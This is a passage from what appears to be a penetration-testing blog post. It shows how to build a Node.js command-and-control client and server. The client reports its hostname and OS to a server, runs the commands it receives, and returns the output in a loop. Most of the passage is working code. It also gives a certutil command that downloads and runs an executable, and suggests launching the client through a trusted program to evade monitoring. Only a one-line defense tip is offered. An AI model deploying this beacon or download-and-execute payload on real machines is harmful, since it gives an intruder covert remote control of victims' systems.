execution results sent by clients meeting condition 2 on the current console, otherwise return a 404 page\u003C\u002Fli>\u003C\u002Ful>\u003Ch4>2. Client\u003C\u002Fh4>\u003Cul>\u003Cli>Connect to a specified server, send post data in a fixed format, including the current system's hostname and operating system version\u003C\u002Fli>\u003Cli>Receive control commands returned by the server, execute them, and then send the results back to the server\u003C\u002Fli>\u003Cli>If the server does not respond, wait for a period of time before sending the post request again\u003C\u002Fli>\u003C\u002Ful>\u003Cp>The following issues need to be considered:\u003C\u002Fp>\u003Ch4>1. Execute cmd commands via Node.js\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function runcmd(command) {\u003Cbr>\tvar childprocess = require('child_process');\u003Cbr>\tchildprocess.exec(command, (err, stdout, stderr) =&gt; {\u003Cbr>  \tif (err) {\u003Cbr>    \t\tconsole.error(err);\u003Cbr>    \t\treturn;\u003Cbr>  \t}\u003Cbr>  \tconsole.log(stdout);\u003Cbr>\t});\u003Cbr>}\u003Cbr>runcmd('whoami');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Implementation of HTTP Communication\u003C\u002Fh4>\u003Cp>Server:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var http = require('http');\u003Cbr>var querystring = require('querystring');\u003Cbr>http.createServer(function (req, res) {\u003Cbr>    \tvar body = '';\u003Cbr>    \tconsole.log('req.url:',req.url);\u003Cbr>    \treq.on('data', function (chunk) {\u003Cbr>\t\tbody += chunk;\u003Cbr>        \tconsole.log(\"chunk:\",chunk);\u003Cbr>    \t});\u003Cbr>    \treq.on('end', function () {\u003Cbr>        \tbody = querystring.parse(body);  \u003Cbr>        \tconsole.log('body:',body);\u003Cbr>        \tres.write('Message from server');\u003Cbr>        \tres.end();\u003Cbr>    \t});\u003Cbr>}).listen(3000,'0.0.0.0');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Client:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sendHello(host1,port1){\u003Cbr>\tvar http = require('http');\t\u003Cbr>\tvar querystring = require('querystring');\u003Cbr>\tvar contents = querystring.stringify({\u003Cbr>    \t\tdata1:'str1',\u003Cbr>    \t\tdata2:'str2'\t\u003Cbr>\t});\u003Cbr>\tvar options = {\u003Cbr>    \t\thost: host1,\u003Cbr>    \t\tport: port1,\u003Cbr>    \t\tpath: '\u002F',\u003Cbr>    \t\tmethod:'POST',\u003Cbr>    \t\theaders:{\u003Cbr>        \t\t'Content-Type':'application\u002Fx-www-form-urlencoded',\u003Cbr>        \t\t'Content-Length':contents.length\u003Cbr>    \t\t}\u003Cbr>\t}\u003Cbr>\tconsole.log('post options:\\n',options);\u003Cbr>\tconsole.log('content:',contents);\u003Cbr>\u003Cbr>\tvar req = http.request(options, function(res){\u003Cbr>    \t\tconsole.log('headers:', res.headers);\u003Cbr>    \t\tvar data1='';\u003Cbr>    \t\tres.on('data', function(chunk){\u003Cbr>      \t\t\tdata1 += chunk;\u003Cbr>    \t\t});\u003Cbr>    \t\tres.on('end', function(){\u003Cbr>      \t\t\tconsole.log('result:',data1)\u003Cbr>    \t\t});\u003Cbr>\t});\u003Cbr>\treq.write(contents);\u003Cbr>\treq.end;\u003Cbr>};\u003Cbr>sendHello('127.0.0.1','3000');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Client sends post data to Server, content is data1=str1&amp;data2=str2\u003C\u002Fp>\u003Cp>After receiving the request, Server replies to Client with 'Message from server'\u003C\u002Fp>\u003Ch4>3. Implementation of sleep\u003C\u002Fh4>\u003Cp>Node.js does not support sleep operation by default, it can be implemented as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sleep(milliSeconds){\u003Cbr>\tvar startTime = new Date().getTime();\u003Cbr>\twhile (new Date().getTime() &lt; startTime + milliSeconds);\u003Cbr>}\u003Cbr>var timeinterval = +'5000';\u003Cbr>sleep(timeinterval);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Convert string type to number by adding + in front\u003C\u002Fp>\u003Ch4>4. Client periodically sends post requests in a loop\u003C\u002Fh4>\u003Cp>Here we need to consider asynchronous and synchronous issues\u003C\u002Fp>\u003Cp>Node.js is asynchronous programming, but the client's periodic loop for sending post requests needs to be implemented synchronously. Test code is as follows:\u003C\u002Fp>\u003Cp>Server:\u003C\u002Fp>\u003Cp>Code same as above\u003C\u002Fp>\u003Cp>Client:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sleep(milliSeconds){\u003Cbr>\tvar startTime = new Date().getTime();\u003Cbr>\twhile(new Date().getTime()&lt; startTime + milliSeconds);\u003Cbr>}\u003Cbr>function sendHello(host1,port1){\u003Cbr>\tvar http = require('http');\t\u003Cbr>\tvar querystring = require('querystring');\u003Cbr>\tvar contents = querystring.stringify({\u003Cbr>    \t\tdata1:'str1',\u003Cbr>    \t\tdata2:'str2'\t\u003Cbr>\t});\u003Cbr>\tvar options = {\u003Cbr>    \t\thost: host1,\u003Cbr>    \t\tport: port1,\u003Cbr>    \t\tpath: '\u002F',\u003Cbr>    \t\tmethod:'POST',\u003Cbr>    \t\theaders:{\u003Cbr>        \t\t'Content-Type':'application\u002Fx-www-form-urlencoded',\u003Cbr>        \t\t'Content-Length':contents.length\u003Cbr>    \t\t}\u003Cbr>\t}\u003Cbr>\tconsole.log('post options:\\n',options);\u003Cbr>\tconsole.log('content:',contents);\u003Cbr>\u003Cbr>\tvar req = http.request(options, function(res){\u003Cbr>    \t\tconsole.log('headers:', res.headers);\u003Cbr>    \t\tvar data1='';\u003Cbr>    \t\tres.on('data', function(chunk){\u003Cbr>      \t\t\tdata1 += chunk;\u003Cbr>    \t\t});\u003Cbr>    \t\tres.on('end', function(){\u003Cbr>      \t\t\tconsole.log('result:',data1)\u003Cbr>    \t\t});\u003Cbr>\t});\u003Cbr>\treq.write(contents);\u003Cbr>\treq.end;\u003Cbr>};\u003Cbr>while (true)\u003Cbr>{\u003Cbr>\tconsole.log('1');\u003Cbr>\tsleep(5000);\u003Cbr>\tsendHello('127.0.0.1','3000');\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Expected result:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Client sends a POST request every 5 seconds and receives the result\u003C\u002Fp>\u003Cp>\u003Cstrong>Actual result:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The loop executes every 5 seconds, but the Client does not send a request\u003C\u002Fp>\u003Cp>Since our initial plan was not to use npm, we also cannot use the async module to achieve synchronization\u003C\u002Fp>\u003Cp>Finally, I resolved the synchronization issue through method nesting, as shown in the following example:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sleep(milliSeconds){\u003Cbr>\tvar startTime = new Date().getTime();\u003Cbr>\twhile(new Date().getTime() &lt; startTime + milliSeconds);\u003Cbr>}\u003Cbr>function A(){\u003Cbr>\tconsole.log('A');\u003Cbr>\tB();\u003Cbr>}\u003Cbr>function B(){\u003Cbr>\tconsole.log('B');\u003Cbr>\tsleep(5000);\u003Cbr>\tA();\u003Cbr>}\u003Cbr>A();\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>5. Server displays Client's IP\u003C\u002Fh4>\u003Cp>Code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function getClientIp(req) {\u003Cbr>        return req.headers['x-forwarded-for'] ||\u003Cbr>        req.connection.remoteAddress ||\u003Cbr>        req.socket.remoteAddress ||\u003Cbr>        req.connection.socket.remoteAddress;\u003Cbr>};\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Default format is IPv6, for example:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>::ffff:127.0.0.1\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Can be specified as IPv4 by modifying listen parameters\u003C\u002Fp>\u003Cp>Before modification:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>.listen(3000);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After modification:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>.listen(3000,'0.0.0.0');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>6. The server checks the POST request and replies with 404 if it does not meet requirements.\u003C\u002Fh4>\u003Cp>Simply check the content of the body.\u003C\u002Fp>\u003Cp>The complete implementation code has been open-sourced at:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The open-source code is merely an example, used to demonstrate NodeJS functionality.\u003C\u002Fp>\u003Cp>Usage is as follows:\u003C\u002Fp>\u003Cp>First, obtain node.exe from the download address: https:\u002F\u002Fnodejs.org\u002Fen\u002Fdownload\u002F\u003C\u002Fp>\u003Ch4>1. Edit the file Server.js\u003C\u002Fh4>\u003Cp>You can compile the following content:\u003C\u002Fp>\u003Cul>\u003Cli>Command sent to the client: var command\u003C\u002Fli>\u003Cli>Listen on port: .listen(80,'0.0.0.0');\u003C\u002Fli>\u003C\u002Ful>\u003Ch4>2. Start the Server\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>node.exe Server.js\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Listen on the specified port, wait for client connections, and record the client's IP, connection time, and POST data.\u003C\u002Fp>\u003Cp>Filter client packets, return control commands to first-time clients, display command execution results from clients on the current console for second-time clients, otherwise return a 404 page\u003C\u002Fp>\u003Ch4>3. Edit the file Client.js\u003C\u002Fh4>\u003Cp>Compile the following content:\u003C\u002Fp>\u003Cul>\u003Cli>Server IP: var serverip\u003C\u002Fli>\u003Cli>Server port: var serverport\u003C\u002Fli>\u003Cli>Loop interval time: var timeinterval\u003C\u002Fli>\u003C\u002Ful>\u003Ch4>4. Start Client\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>node.exe Client.js\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Client will connect to the Server, send fixed-format post data including the current system's hostname and operating system version\u003C\u002Fp>\u003Cp>Then receive control commands returned by the Server, execute them, and send the results back to the Server\u003C\u002Fp>\u003Cp>If the Server does not respond, wait for a period before sending the post request again\u003C\u002Fp>\u003Ch2>0x05 Exploitation Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch4>1. The open-source code supports multiple payloads\u003C\u002Fh4>\u003Cp>The payload can be set to download and execute files, for example\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var command = 'certutil -urlcache -split -f https:\u002F\u002Fgithub.com\u002F3gstudent\u002Ftest\u002Fraw\u002Fmaster\u002Fputty.exe c:\\\\a.exe&amp;&amp;c:\\\\a.exe';\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For more download and execution commands, refer to the previous article 'Penetration Techniques – Multiple Methods for Downloading Files from GitHub'.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>To send a command for Client exit, use:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var command = 'taskkill \u002Ff \u002Fim node.exe';\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Can be loaded by third-party trusted programs\u003C\u002Fh4>\u003Cp>Reference:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fbbs.pediy.com\u002Fthread-249573.htm\u003C\u002Fp>\u003Cp>t.exe -&gt; node.exe -&gt; main.js\u003C\u002Fp>\u003Cp>Demonstration as shown:\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017235635_0_2b4b3f0fb8-1.jpeg\">\u003C\u002Fp>\u003Ch2>0x06 Defense Recommendations\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Monitor and judge the behavior of child processes (node.exe) of t.exe, and intercept if suspicious behavior is detected.\u003C\u002Fp>\u003Ch2>0x07 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article details key considerations in Node.js code development and shares an open-source test code for a Downloader to demonstrate Node.js functionalities.\u003C\u002Fp>\u003Cp>It briefly analyzes exploitation approaches in penetration testing and provides defense recommendations.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",726,"Onedaysec",6,"published","2026-02-02T07:38:21.197Z",{"title":37,"description":14,"keywords":38,"ogImage":39,"canonicalUrl":39,"noIndex":40},"Node.js Penetration Testing: Downloader Implementation Guide","Node.js penetration testing, downloader implementation, active defense bypass, cybersecurity, file dropper, JavaScript security",null,false,[],{"docs":43,"hasNextPage":40},[4,44,45,46,47],860,859,858,857,{"title":39,"description":39,"image":39},"2026-07-24T15:37:11.167Z","2026-07-23T16:02:12.448Z","draft","2026-07-23T16:15:10.587Z"]